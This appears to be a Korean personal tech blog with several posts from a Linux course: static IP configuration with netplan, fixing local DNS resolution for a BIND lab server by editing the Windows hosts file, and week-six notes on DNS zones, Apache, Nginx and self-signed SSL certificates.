        addresses:
          - 8.8.8.8
          - 172.16.11.254

⚠️ YAML 주의사항:

탭 금지 - 반드시 스페이스 2개 사용
들여쓰기 오류 시 전체 설정이 작동하지 않음

Step 5: 저장 및 적용

nano 에디터 사용 시:

Ctrl + O (저장)
Enter
Ctrl + X (종료)

설정 적용:

sudo netplan apply

Step 6: 네트워크 재시작 (확실하게 반영)

sudo systemctl restart systemd-networkd

Step 7: 확인

ip addr show enp0s3

성공 시 출력:

inet 172.16.11.235/24 brd 172.16.11.255 scope global enp0s3

적용 중 에러 발생 시

에러: Configuration rejected

원인: YAML 들여쓰기 오류
해결:

sudo netplan try  # 설정 검증
# 에러 메시지 확인 후 파일 수정

롤백 (설정 원상복구)

sudo cp /etc/netplan/00-installer-config.yaml.backup /etc/netplan/00-installer-config.yaml
sudo netplan apply

✔️ 최종 검증 (부팅 후 매번 확인)

부팅 후 확인 명령어

# 현재 IP 확인
ip addr show enp0s3

# 라우팅 테이블 확인
ip route show

# DNS 확인
cat /etc/resolv.conf

# 게이트웨이 통신 확인
ping 172.16.11.254

# 외부 인터넷 통신 확인
ping 8.8.8.8

왜 고정 IP가 정답일까?

항목 DHCP 동적 할당 고정 IP 설정

부팅 안정성	❌ 불안정 (우선순위 의존)	✅ 항상 안정적
네트워크 충돌	❌ Hyper-V 영향 받음	✅ 영향 없음
관리 편의성	❌ 매번 확인 필요	✅ 예측 가능
서버 환경에 적합	❌ 부적절	✅ 표준 방식

결론: VM 내부에서 고정 IP를 사용하는 것이 서버 환경에서의 표준 관행입니다.

Rocky Linux DNS 서버 구축 후 브라우저에서 도메인이 안 열릴 때 해결법

palantirops — Thu, 2 Apr 2026 19:57:54 +0900

문제 상황

Rocky Linux에 BIND(named)로 DNS 서버를 구축하고 test.com 도메인을 등록했는데, 브라우저에서 www.test.com을 입력하면 내 서버가 아닌 도메인 판매 사이트가 나왔다.

원인

Windows가 DNS 질의를 내 서버(xxx.xxx.xx.xxx)가 아닌 공용 DNS(x.xxx.xx.x)로 보내고 있었기 때문. nslookup test.com [서버IP]로 직접 물어보면 정상 응답이 오는 걸로 DNS 서버 자체는 문제없음을 확인.

과정1

-> 윈도우 터미널에서 아래 입력

nslookup www.test.com <본인아이피>

-> 이 과정을 반드시 확인해보신 후에 dns서버 자체 문제가 없는지 꼭 확인바람!

-> 결과적으로 본인 아이피가 나오면 dns 문제는 아님

과정2

nslookup으로 DNS 서버 정상 동작 확인
Windows DNS 설정 변경 시도 → 브리지 네트워크 때문에 적용 실패
C:\Windows\System32\drivers\etc\hosts 파일에 직접 추가 -> 성공

시도했던 방법들

1. 아래 계속 이 사이트가 나옴

2. 아래 와이파이 누르고 속성 들어가면 아래와 같은 창이 나오는데 밑에 자동 DHCP를 수동으로 누르고 본인이 구축한 (test.com) 사이트의 아이피를 ipv4로 넣어주면 되는데, 그렇게 해도 안된다.

3. 세번째 바로 Win + R → ncpa.cpl → 엔터 이걸 순서대로 누르시면 아래 창이 나옵니다. 여기서 주의 할점은 와이파이 말고, 네트워크 브리지를 우클릭 하시는 겁니다.!

그럼 아래와 같은 이미지가 보일텐데요 이때, 인터넷 프로토콜 버전 4 (TCP/IPv4) 더블클릭 이걸 누르세요

그럼 아래와 같은 창이 뜨고 모자이크 처리된 다음 DNS 서버 주소 사용부분에 본인의 아이피하고, 보조 dns에는 8.8.8.8을 누르시면 끝입니다.

하지만 안됐고 결국 마지막 방법으로 성공했습니다

4. 마지막 성공 방법은, 호스트를 변경합니다. 메모장을 열어서 파일을 오픈 눌러서, 관리자 권한으로 실행합니다. 그후 아래 경로를 누르는데 이때 모든 파일이 보이게 누르시고 hosts파일이 등장합니다. 그 아래에 본인 아이피하고 도메인 네임을 적고 완료하시면, 접속이 성공하게 됩니다.

```
가장 중요한게 있는데 바로 hosts파일을 반드시 수정해줘야 합니다.
C:\Windows\System32\drivers\etc\hosts
172.16.X.X   web.local
172.16.X.X   ftp.local
172.16.X.X   dns.local
nslookup 본인사이트도메인 그다음에 이거 반드시 테스트 터미널에서
```

[서버IP]    test.com
[서버IP]    www.test.com

핵심 교훈

호스트 파일을 수정해야 도메인이 잘된다.

[Linux] 리눅스 6주차 DNS, Apache, Nginx, SSL 수업정리

palantirops — Fri, 13 Mar 2026 14:41:40 +0900

리눅스 6주차 — DNS, Apache, Nginx, SSL 완벽 정리

이번 주는 DNS 서버 구축부터 웹 서버(Apache/Nginx) 운용, 그리고 SSL 인증서 적용까지 다뤘습니다.

1. DNS 기초 명령어

nslookup — 도메인 IP 조회

# 기본 사용 (시스템 기본 DNS 서버 사용)
nslookup www.naver.com

# 특정 DNS 서버(1.1.1.1, Cloudflare)를 지정해서 조회
nslookup www.naver.com 1.1.1.1

PTR 레코드란?
일반 DNS는 "도메인 → IP"를 조회하지만, PTR 레코드는 반대로 "IP → 도메인"을 알아내는 역방향 조회(Reverse Lookup) 에 사용됩니다.

2. Caching Name Server (캐싱 네임서버)

Caching Name Server는 클라이언트의 DNS 질의를 대신 수행(재귀 질의)하고, 응답 결과를 TTL(Time To Live) 시간 동안 캐시에 저장합니다. 덕분에 같은 질의가 반복될 때 빠르게 응답할 수 있습니다.

설정 파일 수정

vi /etc/named.conf        # named 메인 설정파일 편집 (포트 등 수정)

방화벽 및 포트 확인

firewall-cmd --list-all   # 방화벽 규칙 전체 확인
netstat -ntlp             # 현재 열려 있는 포트 및 프로세스 확인

DNS 설정 디렉터리

cd /var/named             # zone 파일들이 위치하는 디렉터리
tail /etc/named.conf      # 설정 파일 끝부분 확인

특정 캐싱 네임서버로 dig 질의

# 특정 서버(@IP)를 지정해서 DNS 질의
dig @192.168.80.60 www.google.com

3. Authoritative DNS (권한 네임서버)

Authoritative DNS는 특정 Zone의 원본 데이터를 직접 보유하고 있어, 다른 서버에 묻지 않고 직접 정답을 내려주는 서버입니다.

Zone: DNS 서버가 관리하는 도메인 단위
Type 종류: master(주 서버), slave(보조 서버), hint(루트 서버 안내)

Zone 파일 작성 예시

/var/named/ 디렉터리에 zone 파일을 생성합니다.

$TTL 86400
@   IN  SOA ns1.example.com. admin.example.com. (
        2026022101  ; 시리얼 번호 (날짜 기반으로 관리)
        3600        ; Refresh
        900         ; Retry
        604800      ; Expire
        86400       ; Minimum TTL
)

    IN  NS  ns1.example.com.

ns1 IN  A   192.168.80.53
www IN  A   192.168.80.100

named 재시작 및 조회 확인

systemctl restart named

# 특정 네임서버에 조회해서 결과 확인
nslookup www.example.com 192.168.4.131

4. CNAME 레코드

CNAME(Canonical Name) 은 도메인에 별칭(Alias)을 붙이는 레코드입니다.

; www.example.com을 실제 도메인인 example.com의 CNAME으로 설정
www IN CNAME example.com.

5. named-chroot (보안 격리)

named-chroot는 chroot 기술을 활용해 named 프로세스의 루트 디렉터리를 제한하는 보안 설정입니다.

효과 설명

접근 범위 제한	지정된 디렉터리 외부 접근 차단
시스템 보호	전체 파일시스템 접근 불가
피해 최소화	침해 발생 시 영향 범위를 격리

6. Apache vs Nginx 비교

구분 Apache Nginx

작동 방식	프로세스/스레드 기반	이벤트 기반 (Event-Driven)
비유	손님마다 새 직원 배치	한 명이 여러 테이블 동시 관리
장점	다양한 모듈, 안정적	적은 메모리로 대규모 접속 처리
단점	접속 폭주 시 무거워짐	동적 콘텐츠 처리 다소 까다로움
주 용도	복잡한 기능의 웹사이트	대규모 서비스, 리버스 프록시

7. Apache 웹 서버 설정

서비스 시작

systemctl enable --now httpd   # 부팅 시 자동 시작 + 즉시 시작
systemctl status httpd         # 상태 확인

기본 웹 페이지 작성

vi /var/www/html/index.html

<h1>Apache Web Server</h1>

가상 호스트(Virtual Host) 설정

여러 도메인을 하나의 서버에서 운영할 때 사용합니다.

vi /etc/httpd/conf.d/exam.conf

<VirtualHost *:80>
    ServerName exam.com
    ServerAlias www.exam.com
    DocumentRoot /var/www/html/exam
</VirtualHost>

설정 파일 구조

파일/디렉터리 역할

/etc/httpd/conf/httpd.conf	메인 설정 파일
/etc/httpd/conf.d/*.conf	가상 호스트 및 추가 설정
/etc/httpd/conf.modules.d/*.conf	모듈 로드 설정

8. Nginx 웹 서버 설정

Apache 중지 후 Nginx 시작

systemctl stop httpd       # Apache 중지 (포트 충돌 방지)
systemctl start nginx      # Nginx 시작
systemctl status nginx     # 상태 확인 (active 확인)

9. SSL 인증서 적용 (HTTPS)

9-1. 사설 인증서 생성 (Nginx 기준)

# SSL 디렉터리 생성
mkdir -p /etc/nginx/ssl

# 1단계: 개인키(Private Key) 생성
openssl genrsa -des3 -out /etc/nginx/ssl/test.com.key 2048

# 2단계: 인증서 발급 신청서(CSR) 생성
openssl req -new -key /etc/nginx/ssl/test.com.key -out /etc/nginx/ssl/test.com.csr

# 3단계: 1년짜리 자체 서명 인증서(.crt) 발급
openssl x509 -req -days 365 \
  -in /etc/nginx/ssl/test.com.csr \
  -signkey /etc/nginx/ssl/test.com.key \
  -out /etc/nginx/ssl/test.com.crt

# 4단계: 키에서 패스프레이즈(비밀번호) 제거 (Nginx 자동 로드를 위해)
openssl rsa -in /etc/nginx/ssl/test.com.key -out /etc/nginx/ssl/test.com.key

패스프레이즈 제거 이유: Nginx는 서버 시작 시 키 파일을 자동으로 읽어야 하므로, 비밀번호가 걸려 있으면 부팅 시 수동 입력이 필요해집니다.

9-2. Nginx HTTPS 가상 호스트 설정

vi /etc/nginx/conf.d/vhost.conf

server {
    listen 443 ssl;
    server_name www.test.com;

    # 인증서와 키 파일 경로
    ssl_certificate     /etc/nginx/ssl/test.com.crt;
    ssl_certificate_key /etc/nginx/ssl/test.com.key;

    # 웹 콘텐츠 경로
    root  /var/www/test;
    index index.html;
}

9-3. 설정 적용

nginx -t               # 문법 오류 검사 (먼저 꼭 확인!)
systemctl restart nginx

# 방화벽에 HTTPS(443) 허용
firewall-cmd --permanent --add-service=https
firewall-cmd --reload

정리

주제 핵심 내용

DNS	nslookup, dig로 조회 / Zone 파일로 직접 도메인 등록
Caching NS	재귀 질의 후 결과를 TTL 동안 캐시
Authoritative NS	Zone 원본 데이터 보유, 직접 응답
Apache	프로세스 기반 / VirtualHost로 다중 도메인 운영
Nginx	이벤트 기반 / 대규모 트래픽에 유리
SSL	openssl로 사설 인증서 생성 → Nginx에 443 설정